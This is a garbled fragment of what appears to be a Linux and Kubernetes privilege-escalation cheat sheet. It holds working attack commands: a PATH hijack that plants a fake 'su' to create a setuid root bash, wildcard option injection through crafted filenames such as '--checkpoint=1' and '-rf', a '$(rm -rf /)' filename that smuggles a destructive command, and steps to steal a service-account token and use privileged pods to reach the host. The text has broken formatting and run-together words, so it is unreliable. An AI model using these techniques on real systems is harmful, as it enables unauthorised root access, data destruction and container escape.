Environment Hunting
Check for scripts or binaries owned by root but writable by user, and abuse PATH
:
PATH
:
export PATH=/tmp/malicious:$PATH
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/malicious/su
chmod +x /tmp/malicious/su
# When root runs βsuβ in script, it executes /tmp/malicious/su
/tmp/rootbash -p # drop into root shell
cp *.txt /root/backup/
, place a file named --help
or -rf
to inject options:
echo "malicious" > --help
mkdir -p /tmp/backupdir
cp --help /tmp/backupdir # Might treat β--helpβ as an option
- If a script does something like tar -cf backup.tar
*
, place a malicious file named --checkpoint=1 to inject tarβs options, or use symlinks to overwrite files. - If a script uses for f in
*
; do somecommand $f; done, create a filename like $(rm -rf /). Use IFS or manipulate environmental variables to change how expansions occur. Kubernetes Inside Container Ifkubectl
or a service account token is present, you may be able to create privileged pods or mount the host:If you can define a pod withls /var/run/secrets/kubernetes.io/serviceaccount cat /var/run/secrets/kubernetes.io/serviceaccount/token kubectl run --rm -it --image=alpine debug -- /bin/sh
hostPID: true
andprivileged: true
, you can namespace-enter the host.